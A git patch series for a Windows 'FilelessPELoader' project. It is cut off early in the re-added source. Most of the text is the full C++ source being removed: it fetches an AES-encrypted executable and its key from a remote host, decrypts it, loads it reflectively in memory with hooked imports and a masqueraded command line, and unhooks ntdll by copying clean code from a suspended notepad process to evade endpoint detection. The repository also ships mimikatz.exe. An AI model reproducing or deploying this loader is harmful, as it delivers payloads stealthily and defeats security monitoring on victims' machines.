From 38cbcf99a0e5e6e83a578abc0ccdafae3a2f5599 Mon Sep 17 00:00:00 2001 From: xmkb <> Date: Sat, 11 Feb 2023 23:14:59 +0300 Subject: [PATCH 1/2] rename it as build_helper.bat --- build.bat => build_helper.bat | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename build.bat => build_helper.bat (100%) diff --git a/build.bat b/build_helper.bat similarity index 100% rename from build.bat rename to build_helper.bat From 444528a8aaac0f7f31a67998b9e697ff0fe1eaeb Mon Sep 17 00:00:00 2001 From: xmkb <> Date: Sat, 11 Feb 2023 23:17:28 +0300 Subject: [PATCH 2/2] Revert "Merge pull request #1 from TheD1rkMtr/main" This reverts commit 466c196f1c9fb96e48c2f79b16755cd877544e77, reversing changes made to 2b22970dcc9c03f6527e7c024dd9dcc13682e2ca. --- .gitignore | 13 + CMakeLists.txt | 14 + FilelessPELoader/CMakeLists.txt | 7 + FilelessPELoader/FilelessPELoader.cpp | 690 ------------------ FilelessPELoader/FilelessPELoader.sln | 31 - FilelessPELoader/FilelessPELoader.vcxproj | 147 ---- .../FilelessPELoader.vcxproj.filters | 22 - .../FilelessPELoader.vcxproj.user | 4 - FilelessPELoader/src/FilelessPELoader.cpp | 642 ++++++++++++++++ README.md | 3 + assets/1.png | Bin 0 -> 68106 bytes assets/2.png | Bin 0 -> 39705 bytes build.bat | 6 + aes.py => tools/aes.py | 71 +- mimikatz.exe => tools/mimikatz.exe | Bin 15 files changed, 720 insertions(+), 930 deletions(-) create mode 100644 .gitignore create mode 100644 CMakeLists.txt create mode 100644 FilelessPELoader/CMakeLists.txt delete mode 100644 FilelessPELoader/FilelessPELoader.cpp delete mode 100644 FilelessPELoader/FilelessPELoader.sln delete mode 100644 FilelessPELoader/FilelessPELoader.vcxproj delete mode 100644 FilelessPELoader/FilelessPELoader.vcxproj.filters delete mode 100644 FilelessPELoader/FilelessPELoader.vcxproj.user create mode 100644 FilelessPELoader/src/FilelessPELoader.cpp create mode 100644 assets/1.png create mode 100644 assets/2.png create mode 100644 build.bat rename aes.py => tools/aes.py (96%) rename mimikatz.exe => tools/mimikatz.exe (100%) diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..0e15fec --- /dev/null +++ b/.gitignore @@ -0,0 +1,13 @@ +build +*.sln +*.vcxproj +*.user +*.sln +FilelessPELoader/FilelessPELoader.vcxproj +*.filters +*.user +*.sln +*.sln +*.vcxproj +*.filters +*.user diff --git a/CMakeLists.txt b/CMakeLists.txt new file mode 100644 index 0000000..19a1950 --- /dev/null +++ b/CMakeLists.txt @@ -0,0 +1,14 @@ +cmake_minimum_required(VERSION 3.25) + +project(FilelessPELoader) + +set(CMAKE_CXX_STANDARD 20) + +set_property(GLOBAL PROPERTY USE_FOLDERS ON) +set_property(DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} PROPERTY VS_STARTUP_PROJECT ${PROJECT_NAME}) + +add_subdirectory(${PROJECT_NAME}) + +if(CMAKE_GENERATOR MATCHES "Visual Studio") + set(CMAKE_SUPPRESS_REGENERATION true) +endif() diff --git a/FilelessPELoader/CMakeLists.txt b/FilelessPELoader/CMakeLists.txt new file mode 100644 index 0000000..e67b77e --- /dev/null +++ b/FilelessPELoader/CMakeLists.txt @@ -0,0 +1,7 @@ +set(CMAKE_SOURCE_DIR src) + +add_executable(${PROJECT_NAME} ${CMAKE_SOURCE_DIR}/${PROJECT_NAME}.cpp) + +if(CMAKE_GENERATOR MATCHES "Visual Studio") + set_target_properties(${PROJECT_NAME} PROPERTIES FOLDER "${PROJECT_NAME}") +endif() \ No newline at end of file diff --git a/FilelessPELoader/FilelessPELoader.cpp b/FilelessPELoader/FilelessPELoader.cpp deleted file mode 100644 index 3f9376c..0000000 --- a/FilelessPELoader/FilelessPELoader.cpp +++ /dev/null @@ -1,690 +0,0 @@ -#define _CRT_RAND_S -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) -#define NtCurrentThread() ( ( HANDLE ) ( LONG_PTR ) -2 ) -#define NtCurrentProcess() ( ( HANDLE ) ( LONG_PTR ) -1 ) - -#pragma comment (lib, "crypt32.lib") -#pragma comment(lib, "winhttp") - -#pragma warning (disable: 4996) -#define _CRT_SECURE_NO_WARNINGS - -#pragma comment(lib, "ntdll") - -EXTERN_C NTSTATUS NtOpenSection( - OUT PHANDLE SectionHandle, - IN ACCESS_MASK DesiredAccess, - IN POBJECT_ATTRIBUTES ObjectAttributes -); - -using MyNtMapViewOfSection = NTSTATUS(NTAPI*)( - HANDLE SectionHandle, - HANDLE ProcessHandle, - PVOID* BaseAddress, - ULONG_PTR ZeroBits, - SIZE_T CommitSize, - PLARGE_INTEGER SectionOffset, - PSIZE_T ViewSize, - DWORD InheritDisposition, - ULONG AllocationType, - ULONG Win32Protect - ); - - - - -typedef struct _BASE_RELOCATION_ENTRY { - WORD Offset : 12; - WORD Type : 4; -} BASE_RELOCATION_ENTRY; - - - -struct DATA { - - LPVOID data; - size_t len; - -}; - - -void DecryptAES(char* shellcode, DWORD shellcodeLen, char* key, DWORD keyLen) { - HCRYPTPROV hProv; - HCRYPTHASH hHash; - HCRYPTKEY hKey; - - if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) { - printf("Failed in CryptAcquireContextW (%u)\n", GetLastError()); - return; - } - if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) { - printf("Failed in CryptCreateHash (%u)\n", GetLastError()); - return; - } - if (!CryptHashData(hHash, (BYTE*)key, keyLen, 0)) { - printf("Failed in CryptHashData (%u)\n", GetLastError()); - return; - } - if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) { - printf("Failed in CryptDeriveKey (%u)\n", GetLastError()); - return; - } - - if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)shellcode, &shellcodeLen)) { - printf("Failed in CryptDecrypt (%u)\n", GetLastError()); - return; - } - - CryptReleaseContext(hProv, 0); - CryptDestroyHash(hHash); - CryptDestroyKey(hKey); - -} - - -DATA GetData(wchar_t* whost, DWORD port, wchar_t* wresource) { - - DATA data; - std::vector buffer; - DWORD dwSize = 0; - DWORD dwDownloaded = 0; - LPSTR pszOutBuffer = NULL; - BOOL bResults = FALSE; - HINTERNET hSession = NULL, - hConnect = NULL, - hRequest = NULL; - // Use WinHttpOpen to obtain a session handle. - hSession = WinHttpOpen(L"WinHTTP Example/1.0", - WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, - WINHTTP_NO_PROXY_NAME, - WINHTTP_NO_PROXY_BYPASS, 0); - - - // Specify an HTTP server. - if (hSession) - hConnect = WinHttpConnect(hSession, whost, - port, 0); - else - printf("Failed in WinHttpConnect (%u)\n", GetLastError()); - - // Create an HTTP request handle. - if (hConnect) - hRequest = WinHttpOpenRequest(hConnect, L"GET", wresource, - NULL, WINHTTP_NO_REFERER, - WINHTTP_DEFAULT_ACCEPT_TYPES, - NULL); - else - printf("Failed in WinHttpOpenRequest (%u)\n", GetLastError()); - - // Send a request. - if (hRequest) - bResults = WinHttpSendRequest(hRequest, - WINHTTP_NO_ADDITIONAL_HEADERS, - 0, WINHTTP_NO_REQUEST_DATA, 0, - 0, 0); - else - printf("Failed in WinHttpSendRequest (%u)\n", GetLastError()); - - // End the request. - if (bResults) - bResults = WinHttpReceiveResponse(hRequest, NULL); - else printf("Failed in WinHttpReceiveResponse (%u)\n", GetLastError()); - - // Keep checking for data until there is nothing left. - if (bResults) - do - { - // Check for available data. - dwSize = 0; - if (!WinHttpQueryDataAvailable(hRequest, &dwSize)) - printf("Error %u in WinHttpQueryDataAvailable (%u)\n", GetLastError()); - - // Allocate space for the buffer. - pszOutBuffer = new char[dwSize + 1]; - if (!pszOutBuffer) - { - printf("Out of memory\n"); - dwSize = 0; - } - else - { - // Read the Data. - ZeroMemory(pszOutBuffer, dwSize + 1); - - if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, - dwSize, &dwDownloaded)) - printf("Error %u in WinHttpReadData.\n", GetLastError()); - else { - - buffer.insert(buffer.end(), pszOutBuffer, pszOutBuffer + dwDownloaded); - - } - delete[] pszOutBuffer; - } - - } while (dwSize > 0); - - if (buffer.empty() == TRUE) - { - printf("Failed in retrieving the Shellcode"); - } - - // Report any errors. - if (!bResults) - printf("Error %d has occurred.\n", GetLastError()); - - // Close any open handles. - if (hRequest) WinHttpCloseHandle(hRequest); - if (hConnect) WinHttpCloseHandle(hConnect); - if (hSession) WinHttpCloseHandle(hSession); - - size_t size = buffer.size(); - - char* bufdata = (char*)malloc(size); - for (int i = 0; i < buffer.size(); i++) { - bufdata[i] = buffer[i]; - } - data.data = bufdata; - data.len = size; - return data; - -} - - -//cmdline args vars -BOOL hijackCmdline = FALSE; -char* sz_masqCmd_Ansi = NULL; -char* sz_masqCmd_ArgvAnsi[100]; -wchar_t* sz_masqCmd_Widh = NULL; -wchar_t* sz_masqCmd_ArgvWidh[100]; -wchar_t** poi_masqArgvW = NULL; -char** poi_masqArgvA = NULL; -int int_masqCmd_Argc = 0; -struct MemAddrs* pMemAddrs = NULL; -DWORD dwTimeout = 0; - -//PE vars -BYTE* pImageBase = NULL; -IMAGE_NT_HEADERS* ntHeader = NULL; - - -//-------------All of these functions are custom-defined versions of functions we hook in the PE's IAT------------- - -LPWSTR hookGetCommandLineW() -{ - //BeaconPrintf(CALLBACK_OUTPUT, "called: getcommandlinew"); - return sz_masqCmd_Widh; -} - -LPSTR hookGetCommandLineA() -{ - //BeaconPrintf(CALLBACK_OUTPUT, "called: getcommandlinea"); - return sz_masqCmd_Ansi; -} - -char*** __cdecl hook__p___argv(void) -{ - //BeaconPrintf(CALLBACK_OUTPUT, "called: __p___argv"); - return &poi_masqArgvA; -} - -wchar_t*** __cdecl hook__p___wargv(void) -{ - - //BeaconPrintf(CALLBACK_OUTPUT, "called: __p___wargv"); - return &poi_masqArgvW; -} - -int* __cdecl hook__p___argc(void) -{ - //BeaconPrintf(CALLBACK_OUTPUT, "called: __p___argc"); - return &int_masqCmd_Argc; -} - -int hook__wgetmainargs(int* _Argc, wchar_t*** _Argv, wchar_t*** _Env, int _useless_, void* _useless) -{ - //BeaconPrintf(CALLBACK_OUTPUT, "called __wgetmainargs"); - *_Argc = int_masqCmd_Argc; - *_Argv = poi_masqArgvW; - - return 0; -} - -int hook__getmainargs(int* _Argc, char*** _Argv, char*** _Env, int _useless_, void* _useless) -{ - //BeaconPrintf(CALLBACK_OUTPUT, "called __getmainargs"); - *_Argc = int_masqCmd_Argc; - *_Argv = poi_masqArgvA; - - return 0; -} - -_onexit_t __cdecl hook_onexit(_onexit_t function) -{ - //BeaconPrintf(CALLBACK_OUTPUT, "called onexit!\n"); - return 0; -} - -int __cdecl hookatexit(void(__cdecl* func)(void)) -{ - //BeaconPrintf(CALLBACK_OUTPUT, "called atexit!\n"); - return 0; -} - -int __cdecl hookexit(int status) -{ - //BeaconPrintf(CALLBACK_OUTPUT, "Exit called!\n"); - //_cexit() causes cmd.exe to break for reasons unknown... - ExitThread(0); - return 0; -} - -void __stdcall hookExitProcess(UINT statuscode) -{ - //BeaconPrintf(CALLBACK_OUTPUT, "ExitProcess called!\n"); - ExitThread(0); -} -void masqueradeCmdline() -{ - //Convert cmdline to widestring - int required_size = MultiByteToWideChar(CP_UTF8, 0, sz_masqCmd_Ansi, -1, NULL, 0); - sz_masqCmd_Widh = (wchar_t*)calloc(required_size + 1, sizeof(wchar_t)); - MultiByteToWideChar(CP_UTF8, 0, sz_masqCmd_Ansi, -1, sz_masqCmd_Widh, required_size); - - //Create widestring array of pointers - poi_masqArgvW = CommandLineToArgvW(sz_masqCmd_Widh, &int_masqCmd_Argc); - - //Manual function equivalent for CommandLineToArgvA - int retval; - int memsize = int_masqCmd_Argc * sizeof(LPSTR); - for (int i = 0; i < int_masqCmd_Argc; ++i) - { - retval = WideCharToMultiByte(CP_UTF8, 0, poi_masqArgvW[i], -1, NULL, 0, NULL, NULL); - memsize += retval; - } - - poi_masqArgvA = (LPSTR*)LocalAlloc(LMEM_FIXED, memsize); - - int bufLen = memsize - int_masqCmd_Argc * sizeof(LPSTR); - LPSTR buffer = ((LPSTR)poi_masqArgvA) + int_masqCmd_Argc * sizeof(LPSTR); - for (int i = 0; i < int_masqCmd_Argc; ++i) - { - retval = WideCharToMultiByte(CP_UTF8, 0, poi_masqArgvW[i], -1, buffer, bufLen, NULL, NULL); - poi_masqArgvA[i] = buffer; - buffer += retval; - bufLen -= retval; - } - - hijackCmdline = TRUE; -} - - -//This array is created manually since CommandLineToArgvA doesn't exist, so manually freeing each item in array -void freeargvA(char** array, int Argc) -{ - //Wipe cmdline args from beacon memory - for (int i = 0; i < Argc; i++) - { - memset(array[i], 0, strlen(array[i])); - } - LocalFree(array); -} - -//This array is returned from CommandLineToArgvW so using LocalFree as per MSDN -void freeargvW(wchar_t** array, int Argc) -{ - //Wipe cmdline args from beacon memory - for (int i = 0; i < Argc; i++) - { - memset(array[i], 0, wcslen(array[i]) * 2); - } - LocalFree(array); -} - - -char* GetNTHeaders(char* pe_buffer) -{ - if (pe_buffer == NULL) return NULL; - - IMAGE_DOS_HEADER* idh = (IMAGE_DOS_HEADER*)pe_buffer; - if (idh->e_magic != IMAGE_DOS_SIGNATURE) { - return NULL; - } - const LONG kMaxOffset = 1024; - LONG pe_offset = idh->e_lfanew; - if (pe_offset > kMaxOffset) return NULL; - IMAGE_NT_HEADERS32* inh = (IMAGE_NT_HEADERS32*)((char*)pe_buffer + pe_offset); - if (inh->Signature != IMAGE_NT_SIGNATURE) return NULL; - return (char*)inh; -} - -IMAGE_DATA_DIRECTORY* GetPEDirectory(PVOID pe_buffer, size_t dir_id) -{ - if (dir_id >= IMAGE_NUMBEROF_DIRECTORY_ENTRIES) return NULL; - - char* nt_headers = GetNTHeaders((char*)pe_buffer); - if (nt_headers == NULL) return NULL; - - IMAGE_DATA_DIRECTORY* peDir = NULL; - - IMAGE_NT_HEADERS* nt_header = (IMAGE_NT_HEADERS*)nt_headers; - peDir = &(nt_header->OptionalHeader.DataDirectory[dir_id]); - - if (peDir->VirtualAddress == NULL) { - return NULL; - } - return peDir; -} - -bool RepairIAT(PVOID modulePtr) -{ - IMAGE_DATA_DIRECTORY* importsDir = GetPEDirectory(modulePtr, IMAGE_DIRECTORY_ENTRY_IMPORT); - if (importsDir == NULL) return false; - - size_t maxSize = importsDir->Size; - size_t impAddr = importsDir->VirtualAddress; - - IMAGE_IMPORT_DESCRIPTOR* lib_desc = NULL; - size_t parsedSize = 0; - - for (; parsedSize < maxSize; parsedSize += sizeof(IMAGE_IMPORT_DESCRIPTOR)) { - lib_desc = (IMAGE_IMPORT_DESCRIPTOR*)(impAddr + parsedSize + (ULONG_PTR)modulePtr); - - if (lib_desc->OriginalFirstThunk == NULL && lib_desc->FirstThunk == NULL) break; - LPSTR lib_name = (LPSTR)((ULONGLONG)modulePtr + lib_desc->Name); - - size_t call_via = lib_desc->FirstThunk; - size_t thunk_addr = lib_desc->OriginalFirstThunk; - if (thunk_addr == NULL) thunk_addr = lib_desc->FirstThunk; - - size_t offsetField = 0; - size_t offsetThunk = 0; - while (true) - { - IMAGE_THUNK_DATA* fieldThunk = (IMAGE_THUNK_DATA*)(size_t(modulePtr) + offsetField + call_via); - IMAGE_THUNK_DATA* orginThunk = (IMAGE_THUNK_DATA*)(size_t(modulePtr) + offsetThunk + thunk_addr); - - if (orginThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG32 || orginThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64) // check if using ordinal (both x86 && x64) - { - size_t addr = (size_t)GetProcAddress(LoadLibraryA(lib_name), (char*)(orginThunk->u1.Ordinal & 0xFFFF)); - fieldThunk->u1.Function = addr; - } - - if (fieldThunk->u1.Function == NULL) break; - - if (fieldThunk->u1.Function == orginThunk->u1.Function) { - - PIMAGE_IMPORT_BY_NAME by_name = (PIMAGE_IMPORT_BY_NAME)((size_t)(modulePtr)+orginThunk->u1.AddressOfData); - LPSTR func_name = (LPSTR)by_name->Name; - - size_t addr = (size_t)GetProcAddress(LoadLibraryA(lib_name), func_name); - - - if (hijackCmdline && _stricmp(func_name, "GetCommandLineA") == 0) - { - fieldThunk->u1.Function = (size_t)hookGetCommandLineA; - } - else if (hijackCmdline && _stricmp(func_name, "GetCommandLineW") == 0) - { - fieldThunk->u1.Function = (size_t)hookGetCommandLineW; - } - else if (hijackCmdline && _stricmp(func_name, "__wgetmainargs") == 0) - { - fieldThunk->u1.Function = (size_t)hook__wgetmainargs; - } - else if (hijackCmdline && _stricmp(func_name, "__getmainargs") == 0) - { - fieldThunk->u1.Function = (size_t)hook__getmainargs; - } - else if (hijackCmdline && _stricmp(func_name, "__p___argv") == 0) - { - fieldThunk->u1.Function = (size_t)hook__p___argv; - } - else if (hijackCmdline && _stricmp(func_name, "__p___wargv") == 0) - { - fieldThunk->u1.Function = (size_t)hook__p___wargv; - } - else if (hijackCmdline && _stricmp(func_name, "__p___argc") == 0) - { - fieldThunk->u1.Function = (size_t)hook__p___argc; - } - else if (hijackCmdline && (_stricmp(func_name, "exit") == 0 || _stricmp(func_name, "_Exit") == 0 || _stricmp(func_name, "_exit") == 0 || _stricmp(func_name, "quick_exit") == 0)) - { - fieldThunk->u1.Function = (size_t)hookexit; - } - else if (hijackCmdline && _stricmp(func_name, "ExitProcess") == 0) - { - fieldThunk->u1.Function = (size_t)hookExitProcess; - } - else - fieldThunk->u1.Function = addr; - - } - offsetField += sizeof(IMAGE_THUNK_DATA); - offsetThunk += sizeof(IMAGE_THUNK_DATA); - } - } - return true; -} - -void PELoader(char* data, DWORD datasize) -{ - - masqueradeCmdline(); - - unsigned int chksum = 0; - for (long long i = 0; i < datasize; i++) { chksum = data[i] * i + chksum / 3; }; - - BYTE* pImageBase = NULL; - LPVOID preferAddr = 0; - DWORD OldProtect = 0; - - IMAGE_NT_HEADERS* ntHeader = (IMAGE_NT_HEADERS*)GetNTHeaders(data); - if (!ntHeader) { - exit(0); - } - - IMAGE_DATA_DIRECTORY* relocDir = GetPEDirectory(data, IMAGE_DIRECTORY_ENTRY_BASERELOC); - preferAddr = (LPVOID)ntHeader->OptionalHeader.ImageBase; - - - HMODULE dll = LoadLibraryA("ntdll.dll"); - ((int(WINAPI*)(HANDLE, PVOID))GetProcAddress(dll, "NtUnmapViewOfSection"))((HANDLE)-1, (LPVOID)ntHeader->OptionalHeader.ImageBase); - - pImageBase = (BYTE*)VirtualAlloc(preferAddr, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); - if (!pImageBase) { - if (!relocDir) { - exit(0); - } - else { - pImageBase = (BYTE*)VirtualAlloc(NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); - if (!pImageBase) - { - exit(0); - } - } - } - - // FILL the memory block with PEdata - ntHeader->OptionalHeader.ImageBase = (size_t)pImageBase; - memcpy(pImageBase, data, ntHeader->OptionalHeader.SizeOfHeaders); - - IMAGE_SECTION_HEADER* SectionHeaderArr = (IMAGE_SECTION_HEADER*)(size_t(ntHeader) + sizeof(IMAGE_NT_HEADERS)); - for (int i = 0; i < ntHeader->FileHeader.NumberOfSections; i++) - { - memcpy(LPVOID(size_t(pImageBase) + SectionHeaderArr[i].VirtualAddress), LPVOID(size_t(data) + SectionHeaderArr[i].PointerToRawData), SectionHeaderArr[i].SizeOfRawData); - } - - // Fix the PE Import addr table - RepairIAT(pImageBase); - - // AddressOfEntryPoint - size_t retAddr = (size_t)(pImageBase)+ntHeader->OptionalHeader.AddressOfEntryPoint; - - EnumThreadWindows(0, (WNDENUMPROC)retAddr, 0); - -} - - - - -LPVOID getNtdll() { - - LPVOID pntdll = NULL; - - //Create our suspended process - STARTUPINFOA si; - PROCESS_INFORMATION pi; - ZeroMemory(&si, sizeof(si)); - ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); - CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); - - if (!pi.hProcess) - { - printf("[-] Error creating process\r\n"); - return NULL; - } - - //Get base address of NTDLL - HANDLE process = GetCurrentProcess(); - MODULEINFO mi; - HMODULE ntdllModule = GetModuleHandleA("ntdll.dll"); - GetModuleInformation(process, ntdllModule, &mi, sizeof(mi)); - - - pntdll = HeapAlloc(GetProcessHeap(), 0, mi.SizeOfImage); - SIZE_T dwRead; - BOOL bSuccess = ReadProcessMemory(pi.hProcess, (LPCVOID)mi.lpBaseOfDll, pntdll, mi.SizeOfImage, &dwRead); - if (!bSuccess) { - printf("Failed in reading ntdll (%u)\n", GetLastError()); - return NULL; - } - - - TerminateProcess(pi.hProcess, 0); - return pntdll; -} - - - - -BOOL Unhook(LPVOID cleanNtdll) { - - char nt[] = { 'n','t','d','l','l','.','d','l','l', 0 }; - - HANDLE hNtdll = GetModuleHandleA(nt); - DWORD oldprotect = 0; - PIMAGE_DOS_HEADER DOSheader = (PIMAGE_DOS_HEADER)cleanNtdll; - PIMAGE_NT_HEADERS NTheader = (PIMAGE_NT_HEADERS)((DWORD64)cleanNtdll + DOSheader->e_lfanew); - int i; - - - // find .text section - for (i = 0; i < NTheader->FileHeader.NumberOfSections; i++) { - PIMAGE_SECTION_HEADER sectionHdr = (PIMAGE_SECTION_HEADER)((DWORD64)IMAGE_FIRST_SECTION(NTheader) + ((DWORD64)IMAGE_SIZEOF_SECTION_HEADER * i)); - - char txt[] = { '.','t','e','x','t', 0 }; - - if (!strcmp((char*)sectionHdr->Name, txt)) { - - // prepare ntdll.dll memory region for write permissions. - BOOL ProtectStatus1 = VirtualProtect((LPVOID)((DWORD64)hNtdll + sectionHdr->VirtualAddress), - sectionHdr->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldprotect); - if (!ProtectStatus1) { - printf("Failed to change the protection (%u)\n", GetLastError()); - return FALSE; - } - - // copy .text section from the mapped ntdll to the hooked one - memcpy((LPVOID)((DWORD64)hNtdll + sectionHdr->VirtualAddress), (LPVOID)((DWORD64)cleanNtdll + sectionHdr->VirtualAddress), sectionHdr->Misc.VirtualSize); - - - // restore original protection settings of ntdll - BOOL ProtectStatus2 = VirtualProtect((LPVOID)((DWORD64)hNtdll + sectionHdr->VirtualAddress), - sectionHdr->Misc.VirtualSize, oldprotect, &oldprotect); - if (!ProtectStatus2) { - printf("Failed to change the protection back (%u)\n", GetLastError()); - return FALSE; - } - - } - } - - return TRUE; - -} - - -int main(int argc, char** argv) { - - if (argc != 5) { - printf("[+] Usage: %s \n", argv[0]); - return 1; - } - - char* host = argv[1]; - - - DWORD port = atoi(argv[2]); - - - char* pe = argv[3]; - - char* key = argv[4]; - - const size_t cSize1 = strlen(host) + 1; - wchar_t* whost = new wchar_t[cSize1]; - mbstowcs(whost, host, cSize1); - - - const size_t cSize2 = strlen(pe) + 1; - wchar_t* wpe = new wchar_t[cSize2]; - mbstowcs(wpe, pe, cSize2); - - const size_t cSize3 = strlen(key) + 1; - wchar_t* wkey = new wchar_t[cSize3]; - mbstowcs(wkey, key, cSize3); - - - - printf("\n\n[+] Get AES Encrypted PE from %s:%d\n", host, port); - DATA PE = GetData(whost, port, wpe); - if (!PE.data) { - printf("[-] Failed in getting AES Encrypted PE\n"); - return -1; - } - - printf("\n[+] Get AES Key from %s:%d\n", host, port); - DATA keyData = GetData(whost, port, wkey); - if (!keyData.data) { - printf("[-] Failed in getting key\n"); - return -2; - } - printf("\n[+] AES PE Address : %p\n", PE.data); - printf("\n[+] AES Key Address : %p\n", keyData.data); - - printf("\n[+] Decrypt the PE \n"); - DecryptAES((char*)PE.data, PE.len, (char*)keyData.data, keyData.len); - printf("\n[+] PE Decrypted\n"); - - // Fixing command line - sz_masqCmd_Ansi = (char*)"whatEver"; - - printf("\n[+] Loading and Running PE\n"); - PELoader((char*)PE.data, PE.len); - - printf("\n[+] Finished\n"); - - - return 0; -} \ No newline at end of file diff --git a/FilelessPELoader/FilelessPELoader.sln b/FilelessPELoader/FilelessPELoader.sln deleted file mode 100644 index 7d3ff90..0000000 --- a/FilelessPELoader/FilelessPELoader.sln +++ /dev/null @@ -1,31 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 12.00 -# Visual Studio Version 16 -VisualStudioVersion = 16.0.32106.194 -MinimumVisualStudioVersion = 10.0.40219.1 -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "FilelessPELoader", "FilelessPELoader.vcxproj", "{82277B35-D159-4B44-8D54-FB66EDD58D5C}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|x64 = Debug|x64 - Debug|x86 = Debug|x86 - Release|x64 = Release|x64 - Release|x86 = Release|x86 - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {82277B35-D159-4B44-8D54-FB66EDD58D5C}.Debug|x64.ActiveCfg = Debug|x64 - {82277B35-D159-4B44-8D54-FB66EDD58D5C}.Debug|x64.Build.0 = Debug|x64 - {82277B35-D159-4B44-8D54-FB66EDD58D5C}.Debug|x86.ActiveCfg = Debug|Win32 - {82277B35-D159-4B44-8D54-FB66EDD58D5C}.Debug|x86.Build.0 = Debug|Win32 - {82277B35-D159-4B44-8D54-FB66EDD58D5C}.Release|x64.ActiveCfg = Release|x64 - {82277B35-D159-4B44-8D54-FB66EDD58D5C}.Release|x64.Build.0 = Release|x64 - {82277B35-D159-4B44-8D54-FB66EDD58D5C}.Release|x86.ActiveCfg = Release|Win32 - {82277B35-D159-4B44-8D54-FB66EDD58D5C}.Release|x86.Build.0 = Release|Win32 - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection - GlobalSection(ExtensibilityGlobals) = postSolution - SolutionGuid = {9161B8CD-FAF4-43AC-9884-6995AB00EFB0} - EndGlobalSection -EndGlobal diff --git a/FilelessPELoader/FilelessPELoader.vcxproj b/FilelessPELoader/FilelessPELoader.vcxproj deleted file mode 100644 index 95fc7ba..0000000 --- a/FilelessPELoader/FilelessPELoader.vcxproj +++ /dev/null @@ -1,147 +0,0 @@ - - - - - Debug - Win32 - - - Release - Win32 - - - Debug - x64 - - - Release - x64 - - - - 16.0 - Win32Proj - {82277b35-d159-4b44-8d54-fb66edd58d5c} - FilelessPELoader - 10.0 - - - - Application - true - v142 - Unicode - - - Application - false - v142 - true - Unicode - - - Application - true - v142 - Unicode - - - Application - false - v142 - true - Unicode - - - - - - - - - - - - - - - - - - - - - true - - - false - - - true - - - false - - - - Level3 - true - WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - - - - - Level3 - true - true - true - WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - true - true - - - - - Level3 - true - _DEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - - - - - Level3 - true - true - true - NDEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - true - true - - - - - - - - - \ No newline at end of file diff --git a/FilelessPELoader/FilelessPELoader.vcxproj.filters b/FilelessPELoader/FilelessPELoader.vcxproj.filters deleted file mode 100644 index 911535f..0000000 --- a/FilelessPELoader/FilelessPELoader.vcxproj.filters +++ /dev/null @@ -1,22 +0,0 @@ - - - - - {4FC737F1-C7A5-4376-A066-2A32D752A2FF} - cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx - - - {93995380-89BD-4b04-88EB-625FBE52EBFB} - h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd - - - {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} - rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms - - - - - Source Files - - - \ No newline at end of file diff --git a/FilelessPELoader/FilelessPELoader.vcxproj.user b/FilelessPELoader/FilelessPELoader.vcxproj.user deleted file mode 100644 index 0f14913..0000000 --- a/FilelessPELoader/FilelessPELoader.vcxproj.user +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/FilelessPELoader/src/FilelessPELoader.cpp b/FilelessPELoader/src/FilelessPELoader.cpp new file mode 100644 index 0000000..8492af1 --- /dev/null +++ b/FilelessPELoader/src/FilelessPELoader.cpp @@ -0,0 +1,642 @@ +#define _CRT_RAND_S +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) +#define NtCurrentThread() (( HANDLE )( LONG_PTR ) -2) +#define NtCurrentProcess() (( HANDLE ) ( LONG_PTR )-1) + +#pragma comment (lib, "crypt32.lib") +#pragma comment(lib, "winhttp") + +#pragma warning (disable: 4996) +#define _CRT_SECURE_NO_WARNINGS + +#pragma comment(lib, "ntdll") + +EXTERN_C NTSTATUS NtOpenSection( + OUT PHANDLE SectionHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes +); + +using MyNtMapViewOfSection = NTSTATUS(NTAPI*)( + HANDLE SectionHandle, + HANDLE ProcessHandle, + PVOID* BaseAddress, + ULONG_PTR ZeroBits, + SIZE_T CommitSize, + PLARGE_INTEGER SectionOffset, + PSIZE_T ViewSize, + DWORD InheritDisposition, + ULONG AllocationType, + ULONG Win32Protect + ); + +typedef struct _BASE_RELOCATION_ENTRY { + WORD Offset : 12; + WORD Type : 4; +} BASE_RELOCATION_ENTRY; + +struct DATA { + LPVOID data; + size_t len; +}; + +void DecryptAES(char* 